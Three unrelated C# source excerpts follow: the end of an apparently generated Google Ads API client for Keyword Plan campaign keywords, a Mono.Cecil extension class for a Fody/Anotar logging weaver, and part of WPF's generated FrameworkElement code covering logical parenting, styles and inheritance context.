public override gagvr::KeywordPlanCampaignKeyword GetKeywordPlanCampaignKeyword(GetKeywordPlanCampaignKeywordRequest request, gaxgrpc::CallSettings callSettings = null)
{
Modify_GetKeywordPlanCampaignKeywordRequest(ref request, ref callSettings);
return _callGetKeywordPlanCampaignKeyword.Sync(request, callSettings);
}
/// <summary>
/// Returns the requested plan in full detail.
///
/// List of thrown errors:
/// [AuthenticationError]()
/// [AuthorizationError]()
/// [HeaderError]()
/// [InternalError]()
/// [QuotaError]()
/// [RequestError]()
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>A Task containing the RPC response.</returns>
public override stt::Task<gagvr::KeywordPlanCampaignKeyword> GetKeywordPlanCampaignKeywordAsync(GetKeywordPlanCampaignKeywordRequest request, gaxgrpc::CallSettings callSettings = null)
{
Modify_GetKeywordPlanCampaignKeywordRequest(ref request, ref callSettings);
return _callGetKeywordPlanCampaignKeyword.Async(request, callSettings);
}
/// <summary>
/// Creates, updates, or removes Keyword Plan campaign keywords. Operation
/// statuses are returned.
///
/// List of thrown errors:
/// [AuthenticationError]()
/// [AuthorizationError]()
/// [DatabaseError]()
/// [FieldError]()
/// [HeaderError]()
/// [InternalError]()
/// [KeywordPlanAdGroupKeywordError]()
/// [KeywordPlanCampaignKeywordError]()
/// [QuotaError]()
/// [RequestError]()
/// [ResourceCountLimitExceededError]()
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>The RPC response.</returns>
public override MutateKeywordPlanCampaignKeywordsResponse MutateKeywordPlanCampaignKeywords(MutateKeywordPlanCampaignKeywordsRequest request, gaxgrpc::CallSettings callSettings = null)
{
Modify_MutateKeywordPlanCampaignKeywordsRequest(ref request, ref callSettings);
return _callMutateKeywordPlanCampaignKeywords.Sync(request, callSettings);
}
/// <summary>
/// Creates, updates, or removes Keyword Plan campaign keywords. Operation
/// statuses are returned.
///
/// List of thrown errors:
/// [AuthenticationError]()
/// [AuthorizationError]()
/// [DatabaseError]()
/// [FieldError]()
/// [HeaderError]()
/// [InternalError]()
/// [KeywordPlanAdGroupKeywordError]()
/// [KeywordPlanCampaignKeywordError]()
/// [QuotaError]()
/// [RequestError]()
/// [ResourceCountLimitExceededError]()
/// </summary>
/// <param name="request">The request object containing all of the parameters for the API call.</param>
/// <param name="callSettings">If not null, applies overrides to this RPC call.</param>
/// <returns>A Task containing the RPC response.</returns>
public override stt::Task<MutateKeywordPlanCampaignKeywordsResponse> MutateKeywordPlanCampaignKeywordsAsync(MutateKeywordPlanCampaignKeywordsRequest request, gaxgrpc::CallSettings callSettings = null)
{
Modify_MutateKeywordPlanCampaignKeywordsRequest(ref request, ref callSettings);
return _callMutateKeywordPlanCampaignKeywords.Async(request, callSettings);
}
}
}
| |
using System.Collections.Generic;
using System.Linq;
using Fody;
using Mono.Cecil;
using Mono.Cecil.Cil;
using Mono.Cecil.Rocks;
using Mono.Collections.Generic;
public static class CecilExtensions
{
public static MethodReference MakeHostInstanceGeneric(
this MethodReference self,
params TypeReference[] args)
{
var reference = new MethodReference(
self.Name,
self.ReturnType,
self.DeclaringType.MakeGenericInstanceType(args))
{
HasThis = self.HasThis,
ExplicitThis = self.ExplicitThis,
CallingConvention = self.CallingConvention
};
foreach (var parameter in self.Parameters) {
reference.Parameters.Add(new ParameterDefinition(parameter.ParameterType));
}
foreach (var genericParam in self.GenericParameters) {
reference.GenericParameters.Add(new GenericParameter(genericParam.Name, reference));
}
return reference;
}
public static void Replace(this Collection<Instruction> collection, Instruction instruction, ICollection<Instruction> instructions)
{
var newInstruction = instructions.First();
instruction.Operand = newInstruction.Operand;
instruction.OpCode = newInstruction.OpCode;
var indexOf = collection.IndexOf(instruction);
foreach (var instruction1 in instructions.Skip(1))
{
collection.Insert(indexOf+1, instruction1);
indexOf++;
}
}
public static void Append(this List<Instruction> collection, params Instruction[] instructions)
{
collection.AddRange(instructions);
}
public static string DisplayName(this MethodDefinition method)
{
method = GetActualMethod(method);
var paramNames = string.Join(", ", method.Parameters.Select(x => x.ParameterType.DisplayName()));
return $"{method.ReturnType.DisplayName()} {method.Name}({paramNames})";
}
public static string DisplayName(this TypeReference typeReference)
{
if (typeReference is GenericInstanceType genericInstanceType && genericInstanceType.HasGenericArguments)
{
return typeReference.Name.Split('`').First() + "<" + string.Join(", ", genericInstanceType.GenericArguments.Select(c => c.DisplayName())) + ">";
}
return typeReference.Name;
}
static MethodDefinition GetActualMethod(MethodDefinition method)
{
var isTypeCompilerGenerated = method.DeclaringType.IsCompilerGenerated();
if (isTypeCompilerGenerated)
{
var rootType = method.DeclaringType.GetNonCompilerGeneratedType();
if (rootType != null)
{
foreach (var parentClassMethod in rootType.Methods)
{
if (method.DeclaringType.Name.Contains($"<{parentClassMethod.Name}>"))
{
return parentClassMethod;
}
if (method.Name.StartsWith($"<{parentClassMethod.Name}>"))
{
return parentClassMethod;
}
}
}
}
var isMethodCompilerGenerated = method.IsCompilerGenerated();
if (isMethodCompilerGenerated)
{
foreach (var parentClassMethod in method.DeclaringType.Methods)
{
if (method.Name.StartsWith($"<{parentClassMethod.Name}>"))
{
return parentClassMethod;
}
}
}
return method;
}
public static TypeDefinition GetNonCompilerGeneratedType(this TypeDefinition typeDefinition)
{
while (typeDefinition.IsCompilerGenerated() && typeDefinition.DeclaringType != null)
{
typeDefinition = typeDefinition.DeclaringType;
}
return typeDefinition;
}
public static bool IsCompilerGenerated(this ICustomAttributeProvider value)
{
return value.CustomAttributes.Any(a => a.AttributeType.Name == "CompilerGeneratedAttribute");
}
public static bool IsCompilerGenerated(this TypeDefinition type)
{
return type.CustomAttributes.Any(a => a.AttributeType.Name == "CompilerGeneratedAttribute") ||
type.IsNested && type.DeclaringType.IsCompilerGenerated();
}
public static void CheckForInvalidLogToUsages(this MethodDefinition methodDefinition)
{
foreach (var instruction in methodDefinition.Body.Instructions)
{
if (instruction.Operand is MethodReference methodReference)
{
var declaringType = methodReference.DeclaringType;
if (declaringType.Name != "LogTo")
{
continue;
}
if (declaringType.Namespace == null || !declaringType.Namespace.StartsWith("Anotar"))
{
continue;
}
//TODO: sequence point
if (instruction.OpCode == OpCodes.Ldftn)
{
var message = $"Inline delegate usages of 'LogTo' are not supported. '{methodDefinition.FullName}'.";
throw new WeavingException(message);
}
}
if (instruction.Operand is TypeReference typeReference)
{
if (typeReference.Name != "LogTo")
{
continue;
}
if (typeReference.Namespace == null ||
!typeReference.Namespace.StartsWith("Anotar"))
{
continue;
}
//TODO: sequence point
if (instruction.OpCode == OpCodes.Ldtoken)
{
var message = $"'typeof' usages or passing `dynamic' params to 'LogTo' are not supported. '{methodDefinition.FullName}'.";
throw new WeavingException(message);
}
}
}
}
public static MethodDefinition GetStaticConstructor(this BaseModuleWeaver weaver, TypeDefinition type)
{
var staticConstructor = type.Methods.FirstOrDefault(x => x.IsConstructor && x.IsStatic);
if (staticConstructor == null)
{
const MethodAttributes attributes = MethodAttributes.Static
| MethodAttributes.SpecialName
| MethodAttributes.RTSpecialName
| MethodAttributes.HideBySig
| MethodAttributes.Private;
staticConstructor = new MethodDefinition(".cctor", attributes, weaver.TypeSystem.VoidReference);
staticConstructor.Body.Instructions.Add(Instruction.Create(OpCodes.Ret));
type.Methods.Add(staticConstructor);
}
staticConstructor.Body.InitLocals = true;
return staticConstructor;
}
public static void InsertBefore(this ILProcessor processor, Instruction target, IEnumerable<Instruction> instructions)
{
foreach (var instruction in instructions)
{
processor.InsertBefore(target, instruction);
}
}
public static bool IsBasicLogCall(this Instruction instruction)
{
var previous = instruction.Previous;
if (previous.OpCode != OpCodes.Newarr || ((TypeReference) previous.Operand).FullName != "System.Object")
{
return false;
}
previous = previous.Previous;
if (previous.OpCode != OpCodes.Ldc_I4)
{
return false;
}
previous = previous.Previous;
if (previous.OpCode != OpCodes.Ldstr)
{
return false;
}
return true;
}
public static Instruction FindStringInstruction(this Instruction call)
{
if (IsBasicLogCall(call))
{
return call.Previous.Previous.Previous;
}
var previous = call.Previous;
if (previous.OpCode != OpCodes.Ldloc)
{
return null;
}
var variable = (VariableDefinition) previous.Operand;
while (previous != null && (previous.OpCode != OpCodes.Stloc || previous.Operand != variable))
{
previous = previous.Previous;
}
if (previous == null)
{
return null;
}
if (IsBasicLogCall(previous))
{
return previous.Previous.Previous.Previous;
}
return null;
}
public static bool TryGetPreviousLineNumber(this Instruction instruction, MethodDefinition method, out int lineNumber)
{
while (true)
{
var sequencePoint = method.DebugInformation.GetSequencePoint(instruction);
if (sequencePoint != null)
{
// not a hidden line http://blogs.msdn.com/b/jmstall/archive/2005/06/19/feefee-sequencepoints.aspx
if (sequencePoint.StartLine != 0xFeeFee)
{
lineNumber = sequencePoint.StartLine;
return true;
}
}
instruction = instruction.Previous;
if (instruction == null)
{
lineNumber = 0;
return false;
}
}
}
public static bool ContainsAttribute(this Collection<CustomAttribute> attributes, string attributeName)
{
var containsAttribute = attributes.FirstOrDefault(x => x.AttributeType.FullName == attributeName);
if (containsAttribute != null)
{
attributes.Remove(containsAttribute);
}
return containsAttribute != null;
}
public static MethodDefinition FindMethod(this TypeDefinition typeDefinition, string method, params string[] paramTypes)
{
var firstOrDefault = typeDefinition.Methods
.FirstOrDefault(x =>
!x.HasGenericParameters &&
x.Name == method &&
x.IsMatch(paramTypes));
if (firstOrDefault == null)
{
var parameterNames = string.Join(", ", paramTypes);
throw new WeavingException($"Expected to find method '{method}({parameterNames})' on type '{typeDefinition.FullName}'.");
}
return firstOrDefault;
}
public static MethodDefinition FindGenericMethod(this TypeDefinition typeDefinition, string method, params string[] paramTypes)
{
var firstOrDefault = typeDefinition.Methods
.FirstOrDefault(x =>
x.HasGenericParameters &&
x.Name == method &&
x.IsMatch(paramTypes));
if (firstOrDefault == null)
{
var parameterNames = string.Join(", ", paramTypes);
throw new WeavingException($"Expected to find method '{method}({parameterNames})' on type '{typeDefinition.FullName}'.");
}
return firstOrDefault;
}
public static bool IsMatch(this MethodReference methodReference, params string[] paramTypes)
{
if (methodReference.Parameters.Count != paramTypes.Length)
{
return false;
}
for (var index = 0; index < methodReference.Parameters.Count; index++)
{
var parameterDefinition = methodReference.Parameters[index];
var paramType = paramTypes[index];
if (parameterDefinition.ParameterType.Name != paramType)
{
return false;
}
}
return true;
}
public static FieldReference GetGeneric(this FieldDefinition definition)
{
if (definition.DeclaringType.HasGenericParameters)
{
var declaringType = new GenericInstanceType(definition.DeclaringType);
foreach (var parameter in definition.DeclaringType.GenericParameters)
{
declaringType.GenericArguments.Add(parameter);
}
return new FieldReference(definition.Name, definition.FieldType, declaringType);
}
return definition;
}
public static TypeReference GetGeneric(this TypeDefinition definition)
{
if (definition.HasGenericParameters)
{
var genericInstanceType = new GenericInstanceType(definition);
foreach (var parameter in definition.GenericParameters)
{
genericInstanceType.GenericArguments.Add(parameter);
}
return genericInstanceType;
}
return definition;
}
}
| |
//---------------------------------------------------------------------------
//
// <copyright file="FrameworkElement.cs" company="Microsoft">
// Copyright (C) Microsoft Corporation. All rights reserved.
// </copyright>
//
// This file was generated, please do not edit it directly.
//
// This file was generated from the codegen template located at:
// wpf\src\Graphics\codegen\mcg\generators\FrameworkElementTemplate.cs
//
// Please see http://wiki/default.aspx/Microsoft.Projects.Avalon/MilCodeGen.html for more information.
//
//---------------------------------------------------------------------------
using MS.Internal;
using MS.Utility;
using System;
using System.Collections;
using System.Diagnostics;
using System.Security;
using System.Security.Permissions;
using System.Windows.Controls;
using System.Windows.Media;
using System.Windows.Markup;
using SR=System.Windows.SR;
using SRID=System.Windows.SRID;
namespace System.Windows
{
[RuntimeNamePropertyAttribute("Name")]
public partial class FrameworkElement
{
//------------------------------------------------------
//
// Constructors
//
//------------------------------------------------------
//------------------------------------------------------
//
// Public Methods
//
//------------------------------------------------------
#region Public Methods
/// <summary>
/// Returns logical parent
/// </summary>
public DependencyObject Parent
{
get
{
// Verify Context Access
// VerifyAccess();
return ContextVerifiedGetParent();
}
}
/// <summary>
/// Registers the name - element combination from the
/// NameScope that the current element belongs to.
/// </summary>
/// <param name="name">Name of the element</param>
/// <param name="scopedElement">Element where name is defined</param>
public void RegisterName(string name, object scopedElement)
{
INameScope nameScope = FrameworkElement.FindScope(this);
if (nameScope != null)
{
nameScope.RegisterName(name, scopedElement);
}
else
{
throw new InvalidOperationException(SR.Get(SRID.NameScopeNotFound, name, "register"));
}
}
/// <summary>
/// Unregisters the name - element combination from the
/// NameScope that the current element belongs to.
/// </summary>
/// <param name="name">Name of the element</param>
public void UnregisterName(string name)
{
INameScope nameScope = FrameworkElement.FindScope(this);
if (nameScope != null)
{
nameScope.UnregisterName(name);
}
else
{
throw new InvalidOperationException(SR.Get(SRID.NameScopeNotFound, name, "unregister"));
}
}
/// <summary>
/// Find the object with given name in the
/// NameScope that the current element belongs to.
/// </summary>
/// <param name="name">string name to index</param>
/// <returns>context if found, else null</returns>
public object FindName(string name)
{
DependencyObject scopeOwner;
return FindName(name, out scopeOwner);
}
// internal version of FindName that returns the scope owner
internal object FindName(string name, out DependencyObject scopeOwner)
{
INameScope nameScope = FrameworkElement.FindScope(this, out scopeOwner);
if (nameScope != null)
{
return nameScope.FindName(name);
}
return null;
}
/// <summary>
/// Elements that arent connected to the tree do not receive theme change notifications.
/// We leave it upto the app author to listen for such changes and invoke this method on
/// elements that they know that arent connected to the tree. This method will update the
/// DefaultStyle for the subtree starting at the current instance.
/// </summary>
public void UpdateDefaultStyle()
{
TreeWalkHelper.InvalidateOnResourcesChange(/* fe = */ this, /* fce = */ null, ResourcesChangeInfo.ThemeChangeInfo);
}
#endregion Public Methods
//------------------------------------------------------
//
// Protected Methods
//
//------------------------------------------------------
#region Protected Methods
/// <summary>
/// Returns enumerator to logical children
/// </summary>
protected internal virtual IEnumerator LogicalChildren
{
get { return null; }
}
#endregion Protected Methods
//------------------------------------------------------
//
// Internal Methods
//
//------------------------------------------------------
#region Internal Methods
/// <summary>
/// Tries to find a Resource for the given resourceKey in the current
/// element's ResourceDictionary.
/// </summary>
internal object FindResourceOnSelf(object resourceKey, bool allowDeferredResourceReference, bool mustReturnDeferredResourceReference)
{
ResourceDictionary resources = ResourcesField.GetValue(this);
if ((resources != null) && resources.Contains(resourceKey))
{
bool canCache;
return resources.FetchResource(resourceKey, allowDeferredResourceReference, mustReturnDeferredResourceReference, out canCache);
}
return DependencyProperty.UnsetValue;
}
internal DependencyObject ContextVerifiedGetParent()
{
return _parent;
}
//
protected internal void AddLogicalChild(object child)
{
if (child != null)
{
// It is invalid to modify the children collection that we
// might be iterating during a property invalidation tree walk.
if (IsLogicalChildrenIterationInProgress)
{
throw new InvalidOperationException(SR.Get(SRID.CannotModifyLogicalChildrenDuringTreeWalk));
}
// Now that the child is going to be added, the FE/FCE construction is considered finished,
// so we do not expect a change of InheritanceBehavior property,
// so we can pick up properties from styles and resources.
TryFireInitialized();
bool exceptionThrown = true;
try
{
HasLogicalChildren = true;
// Child is present; reparent him to this element
FrameworkObject fo = new FrameworkObject(child as DependencyObject);
fo.ChangeLogicalParent(this);
exceptionThrown = false;
}
finally
{
if (exceptionThrown)
{
//
// Consider doing this...
//RemoveLogicalChild(child);
}
}
}
}
//
protected internal void RemoveLogicalChild(object child)
{
if (child != null)
{
// It is invalid to modify the children collection that we
// might be iterating during a property invalidation tree walk.
if (IsLogicalChildrenIterationInProgress)
{
throw new InvalidOperationException(SR.Get(SRID.CannotModifyLogicalChildrenDuringTreeWalk));
}
// Child is present
FrameworkObject fo = new FrameworkObject(child as DependencyObject);
if (fo.Parent == this)
{
fo.ChangeLogicalParent(null);
}
// This could have been the last child, so check if we have any more children
IEnumerator children = LogicalChildren;
// if null, there are no children.
if (children == null)
{
HasLogicalChildren = false;
}
else
{
// If we can move next, there is at least one child
HasLogicalChildren = children.MoveNext();
}
}
}
/// <summary>
/// Invoked when logical parent is changed. This just
/// sets the parent pointer.
/// </summary>
/// <remarks>
/// A parent change is considered catastrohpic and results in a large
/// amount of invalidations and tree traversals. <cref see="DependencyFastBuild"/>
/// is recommended to reduce the work necessary to build a tree
/// </remarks>
/// <param name="newParent">
/// New parent that was set
/// </param>
internal void ChangeLogicalParent(DependencyObject newParent)
{
///////////////////
// OnNewParent:
///////////////////
//
// -- Approved By The Core Team --
//
// Do not allow foreign threads to change the tree.
// (This is a noop if this object is not assigned to a Dispatcher.)
//
// We also need to ensure that the tree is homogenous with respect
// to the dispatchers that the elements belong to.
//
this.VerifyAccess();
if(newParent != null)
{
newParent.VerifyAccess();
}
// Logical Parent must first be dropped before you are attached to a newParent
// This mitigates illegal tree state caused by logical child stealing as illustrated in bug 970706
if (_parent != null && newParent != null && _parent != newParent)
{
throw new System.InvalidOperationException(SR.Get(SRID.HasLogicalParent));
}
// Trivial check to avoid loops
if (newParent == this)
{
throw new System.InvalidOperationException(SR.Get(SRID.CannotBeSelfParent));
}
// Logical Parent implies no InheritanceContext
if (newParent != null)
{
ClearInheritanceContext();
}
IsParentAnFE = newParent is FrameworkElement;
DependencyObject oldParent = _parent;
OnNewParent(newParent);
// Update Has[Loaded/Unloaded]Handler Flags
BroadcastEventHelper.AddOrRemoveHasLoadedChangeHandlerFlag(this, oldParent, newParent);
///////////////////
// OnParentChanged:
///////////////////
// Invalidate relevant properties for this subtree
DependencyObject parent = (newParent != null) ? newParent : oldParent;
TreeWalkHelper.InvalidateOnTreeChange(/* fe = */ this, /* fce = */ null, parent, (newParent != null));
// If no one has called BeginInit then mark the element initialized and fire Initialized event
// (non-parser programmatic tree building scenario)
TryFireInitialized();
}
/// <summary>
/// Called before the parent is chanded to the new value.
/// </summary>
internal virtual void OnNewParent(DependencyObject newParent)
{
//
// This API is only here for compatability with the old
// behavior. Note that FrameworkElement does not have
// this virtual, so why do we need it here?
//
DependencyObject oldParent = _parent;
_parent = newParent;
// Synchronize ForceInherit properties
if(_parent != null && _parent is ContentElement)
{
UIElement.SynchronizeForceInheritProperties(this, null, null, _parent);
}
else if(oldParent is ContentElement)
{
UIElement.SynchronizeForceInheritProperties(this, null, null, oldParent);
}
// Synchronize ReverseInheritProperty Flags
//
// NOTE: do this AFTER synchronizing force-inherited flags, since
// they often effect focusability and such.
this.SynchronizeReverseInheritPropertyFlags(oldParent, false);
}
// OnAncestorChangedInternal variant when we know what type (FE/FCE) the
// tree node is.
/// <SecurityNote>
/// Critical: This code calls into PresentationSource.OnAncestorChanged which is link demand protected
/// it does so only for content elements and not for FEs. But if called externally and configured
/// inappropriately it can be used to change the tree
/// TreatAsSafe: This does not let you get at the presentationsource which is what we do not want to expose
/// </SecurityNote>
[SecurityCritical,SecurityTreatAsSafe]
internal void OnAncestorChangedInternal(TreeChangeInfo parentTreeState)
{
// Cache the IsSelfInheritanceParent flag
bool isSelfInheritanceParent = IsSelfInheritanceParent;
if (parentTreeState.Root != this)
{
// Clear the HasStyleChanged flag
HasStyleChanged = false;
HasStyleInvalidated = false;
HasTemplateChanged = false;
}
// If this is a tree add operation update the ShouldLookupImplicitStyles
// flag with respect to your parent.
if (parentTreeState.IsAddOperation)
{
FrameworkObject fo =
new FrameworkObject(this, null);
fo.SetShouldLookupImplicitStyles();
}
// Invalidate ResourceReference properties
if (HasResourceReference)
{
// This operation may cause a style change and hence should be done before the call to
// InvalidateTreeDependents as it relies on the HasStyleChanged flag
TreeWalkHelper.OnResourcesChanged(this, ResourcesChangeInfo.TreeChangeInfo, false);
}
// If parent is a FrameworkElement
// This is also an operation that could change the style
FrugalObjectList<DependencyProperty> currentInheritableProperties =
InvalidateTreeDependentProperties(parentTreeState, isSelfInheritanceParent);
// we have inherited properties that changes as a result of the above;
// invalidation; push that list of inherited properties on the stack
// for the children to use
parentTreeState.InheritablePropertiesStack.Push(currentInheritableProperties);
// Call OnAncestorChanged
OnAncestorChanged();
// Notify mentees if they exist
if (PotentiallyHasMentees)
{
// Raise the ResourcesChanged Event so that ResourceReferenceExpressions
// on non-[FE/FCE] listening for this can then update their values
RaiseClrEvent(FrameworkElement.ResourcesChangedKey, EventArgs.Empty);
}
}
// Invalidate all the properties that may have changed as a result of
// changing this element's parent in the logical (and sometimes visual tree.)
internal FrugalObjectList<DependencyProperty> InvalidateTreeDependentProperties(TreeChangeInfo parentTreeState, bool isSelfInheritanceParent)
{
AncestorChangeInProgress = true;
InVisibilityCollapsedTree = false; // False == we don't know whether we're in a visibility collapsed tree.
if (parentTreeState.TopmostCollapsedParentNode == null)
{
// There is no ancestor node with Visibility=Collapsed.
// See if "fe" is the root of a collapsed subtree.
if (Visibility == Visibility.Collapsed)
{
// This is indeed the root of a collapsed subtree.
// remember this information as we proceed on the tree walk.
parentTreeState.TopmostCollapsedParentNode = this;
// Yes, this FE node is in a visibility collapsed subtree.
InVisibilityCollapsedTree = true;
}
}
else
{
// There is an ancestor node somewhere above us with
// Visibility=Collapsed. We're in a visibility collapsed subtree.
InVisibilityCollapsedTree = true;
}
try
{
// Style property is a special case of a non-inherited property that needs
// invalidation for parent changes. Invalidate StyleProperty if it hasn't been
// locally set because local value takes precedence over implicit references
if (IsInitialized && !HasLocalStyle && (this != parentTreeState.Root))
{
UpdateStyleProperty();
}
Style selfStyle = null;
Style selfThemeStyle = null;
DependencyObject templatedParent = null;
int childIndex = -1;
ChildRecord childRecord = new ChildRecord();
bool isChildRecordValid = false;
selfStyle = Style;
selfThemeStyle = ThemeStyle;
templatedParent = TemplatedParent;
childIndex = TemplateChildIndex;
// StyleProperty could have changed during invalidation of ResourceReferenceExpressions if it
// were locally set or during the invalidation of unresolved implicitly referenced style
bool hasStyleChanged = HasStyleChanged;
// Fetch selfStyle, hasStyleChanged and childIndex for the current node
FrameworkElement.GetTemplatedParentChildRecord(templatedParent, childIndex, out childRecord, out isChildRecordValid);
FrameworkElement parentFE;
FrameworkContentElement parentFCE;
bool hasParent = FrameworkElement.GetFrameworkParent(this, out parentFE, out parentFCE);
DependencyObject parent = null;
InheritanceBehavior parentInheritanceBehavior = InheritanceBehavior.Default;
if (hasParent)
{
if (parentFE != null)
{
parent = parentFE;
parentInheritanceBehavior = parentFE.InheritanceBehavior;
}
else
{
parent = parentFCE;
parentInheritanceBehavior = parentFCE.InheritanceBehavior;
}
}
if (!TreeWalkHelper.SkipNext(InheritanceBehavior) && !TreeWalkHelper.SkipNow(parentInheritanceBehavior))
{
// Synchronize InheritanceParent
this.SynchronizeInheritanceParent(parent);
}
else if (!IsSelfInheritanceParent)
{
// Set IsSelfInheritanceParet on the root node at a tree boundary
// so that all inheritable properties are cached on it.
SetIsSelfInheritanceParent();
}
// Loop through all cached inheritable properties for the parent to see if they should be invalidated.
return TreeWalkHelper.InvalidateTreeDependentProperties(parentTreeState, /* fe = */ this, /* fce = */ null, selfStyle, selfThemeStyle,
ref childRecord, isChildRecordValid, hasStyleChanged, isSelfInheritanceParent);
}
finally
{
AncestorChangeInProgress = false;
InVisibilityCollapsedTree = false; // 'false' just means 'we don't know' - see comment at definition of the flag.
}
}
/// <summary>
/// Check if the current element has a Loaded/Unloaded Change Handler.
/// </summary>
/// <remarks>
/// This is called this when a loaded handler element is removed.
/// We need to check if the parent should clear or maintain the
/// SubtreeHasLoadedChangeHandler bit. For example the parent may also
/// have a handler.
/// This could be more efficent if it were a bit on the element,
/// set and cleared when the handler or templates state changes. I expect
/// Event Handler state changes less often than element parentage.
/// </remarks>
internal bool ThisHasLoadedChangeEventHandler
{
get
{
if (null != EventHandlersStore)
{
if (EventHandlersStore.Contains(LoadedEvent) || EventHandlersStore.Contains(UnloadedEvent))
{
return true;
}
}
if(null != Style && Style.HasLoadedChangeHandler)
{
return true;
}
if(null != ThemeStyle && ThemeStyle.HasLoadedChangeHandler)
{
return true;
}
if(null != TemplateInternal && TemplateInternal.HasLoadedChangeHandler)
{
return true;
}
if(HasFefLoadedChangeHandler)
{
return true;
}
return false;
}
}
internal bool HasFefLoadedChangeHandler
{
get
{
if(null == TemplatedParent)
{
return false;
}
FrameworkElementFactory fefRoot = BroadcastEventHelper.GetFEFTreeRoot(TemplatedParent);
if(null == fefRoot)
{
return false;
}
FrameworkElementFactory fef = StyleHelper.FindFEF(fefRoot, TemplateChildIndex);
if(null == fef)
{
return false;
}
return fef.HasLoadedChangeHandler;
}
}
/// <summary>
/// This method causes the StyleProperty to be re-evaluated
/// </summary>
internal void UpdateStyleProperty()
{
if (!HasStyleInvalidated)
{
if (IsStyleUpdateInProgress == false)
{
IsStyleUpdateInProgress = true;
try
{
InvalidateProperty(StyleProperty);
HasStyleInvalidated = true;
}
finally
{
IsStyleUpdateInProgress = false;
}
}
else
{
throw new InvalidOperationException(SR.Get(SRID.CyclicStyleReferenceDetected, this));
}
}
}
/// <summary>
/// This method causes the ThemeStyleProperty to be re-evaluated
/// </summary>
internal void UpdateThemeStyleProperty()
{
if (IsThemeStyleUpdateInProgress == false)
{
IsThemeStyleUpdateInProgress = true;
try
{
StyleHelper.GetThemeStyle(/* fe = */ this, /* fce = */ null);
// Update the ContextMenu and ToolTips separately because they aren't in the tree
ContextMenu contextMenu =
GetValueEntry(
LookupEntry(ContextMenuProperty.GlobalIndex),
ContextMenuProperty,
null,
RequestFlags.DeferredReferences).Value as ContextMenu;
if (contextMenu != null)
{
TreeWalkHelper.InvalidateOnResourcesChange(contextMenu, null, ResourcesChangeInfo.ThemeChangeInfo);
}
DependencyObject toolTip =
GetValueEntry(
LookupEntry(ToolTipProperty.GlobalIndex),
ToolTipProperty,
null,
RequestFlags.DeferredReferences).Value as DependencyObject;
if (toolTip != null)
{
FrameworkObject toolTipFO = new FrameworkObject(toolTip);
if (toolTipFO.IsValid)
{
TreeWalkHelper.InvalidateOnResourcesChange(toolTipFO.FE, toolTipFO.FCE, ResourcesChangeInfo.ThemeChangeInfo);
}
}
OnThemeChanged();
}
finally
{
IsThemeStyleUpdateInProgress = false;
}
}
else
{
throw new InvalidOperationException(SR.Get(SRID.CyclicThemeStyleReferenceDetected, this));
}
}
// Called when the theme changes so resources not in the tree can be updated by subclasses
internal virtual void OnThemeChanged()
{
}
///<summary>
/// Initiate the processing for Loaded event broadcast starting at this node
/// </summary>
/// <remarks>
/// This method is to allow firing Loaded event from a Helper class since the override is protected
/// </remarks>
internal void FireLoadedOnDescendentsInternal()
{
// This is to prevent duplicate Broadcasts for the Loaded event
if (LoadedPending == null)
{
DependencyObject parent = Parent;
if (parent == null)
{
parent = VisualTreeHelper.GetParent(this);
}
// Check if this Loaded cancels against a previously queued Unloaded event
// Note that if the Loaded and the Unloaded do not change the position of
// the node within the loagical tree they are considered to cancel each other out.
object[] unloadedPending = UnloadedPending;
if (unloadedPending == null || unloadedPending[2] != parent)
{
// Add a callback to the MediaContext which will be called
// before the first render after this point
BroadcastEventHelper.AddLoadedCallback(this, parent);
}
else
{
// Dequeue Unloaded
BroadcastEventHelper.RemoveUnloadedCallback(this, unloadedPending);
}
}
}
///<summary>
/// Broadcast Unloaded event starting at this node
/// </summary>
internal void FireUnloadedOnDescendentsInternal()
{
// This is to prevent duplicate Broadcasts for the Unloaded event
if (UnloadedPending == null)
{
DependencyObject parent = Parent;
if (parent == null)
{
parent = VisualTreeHelper.GetParent(this);
}
// Check if this Unloaded cancels against a previously queued Loaded event
// Note that if the Loaded and the Unloaded do not change the position of
// the node within the loagical tree they are considered to cancel each other out.
object[] loadedPending = LoadedPending;
if (loadedPending == null)
{
// Add a callback to the MediaContext which will be called
// before the first render after this point
BroadcastEventHelper.AddUnloadedCallback(this, parent);
}
else
{
// Dequeue Loaded
BroadcastEventHelper.RemoveLoadedCallback(this, loadedPending);
}
}
}
/// <summary>
/// You are about to provided as the InheritanceContext for the target.
/// You can choose to allow this or not.
/// </summary>
internal override bool ShouldProvideInheritanceContext(DependencyObject target, DependencyProperty property)
{
// return true if the target is neither a FE or FCE
FrameworkObject fo = new FrameworkObject(target);
return !fo.IsValid;
}
// Define the DO's inheritance context
internal override DependencyObject InheritanceContext
{
get { return InheritanceContextField.GetValue(this); }
}
/// <summary>
/// You have a new InheritanceContext
/// </summary>
/// <remarks>
/// This is to solve the case of programmatically creating a VisualBrush or BitmapCacheBrush
/// with an element in it and the element not getting Initialized.
/// </remarks>
internal override void AddInheritanceContext(DependencyObject context, DependencyProperty property)
{
base.AddInheritanceContext(context, property);
// Initialize, if not already done
TryFireInitialized();
// accept the new inheritance context provided that
// a) the requested link uses VisualBrush.Visual or BitmapCacheBrush.TargetProperty
// b) this element has no visual or logical parent
// c) the context does not introduce a cycle
if ((property == VisualBrush.VisualProperty || property == BitmapCacheBrush.TargetProperty)
&& FrameworkElement.GetFrameworkParent(this) == null
//!FrameworkObject.IsEffectiveAncestor(this, context, property))
&& !FrameworkObject.IsEffectiveAncestor(this, context))
{
//FrameworkObject.Log("+ {0}", FrameworkObject.LogIC(context, property, this));
if (!HasMultipleInheritanceContexts && InheritanceContext == null)
{
// first request - accept the new inheritance context
InheritanceContextField.SetValue(this, context);
OnInheritanceContextChanged(EventArgs.Empty);
}
else if (InheritanceContext != null)
{
// second request - remove all context and enter "shared" mode
InheritanceContextField.ClearValue(this);
WriteInternalFlag2(InternalFlags2.HasMultipleInheritanceContexts, true);
OnInheritanceContextChanged(EventArgs.Empty);
}
// else already in shared mode - ignore the request
}
}
// Remove an inheritance context
internal override void RemoveInheritanceContext(DependencyObject context, DependencyProperty property)
{
if (InheritanceContext == context)
{
//FrameworkObject.Log("- {0}", FrameworkObject.LogIC(context, property, this));
InheritanceContextField.ClearValue(this);
OnInheritanceContextChanged(EventArgs.Empty);
}
base.RemoveInheritanceContext(context, property);
}
// Clear the inheritance context (called when the element
// gets a real parent
private void ClearInheritanceContext()
{
if (InheritanceContext != null)
{
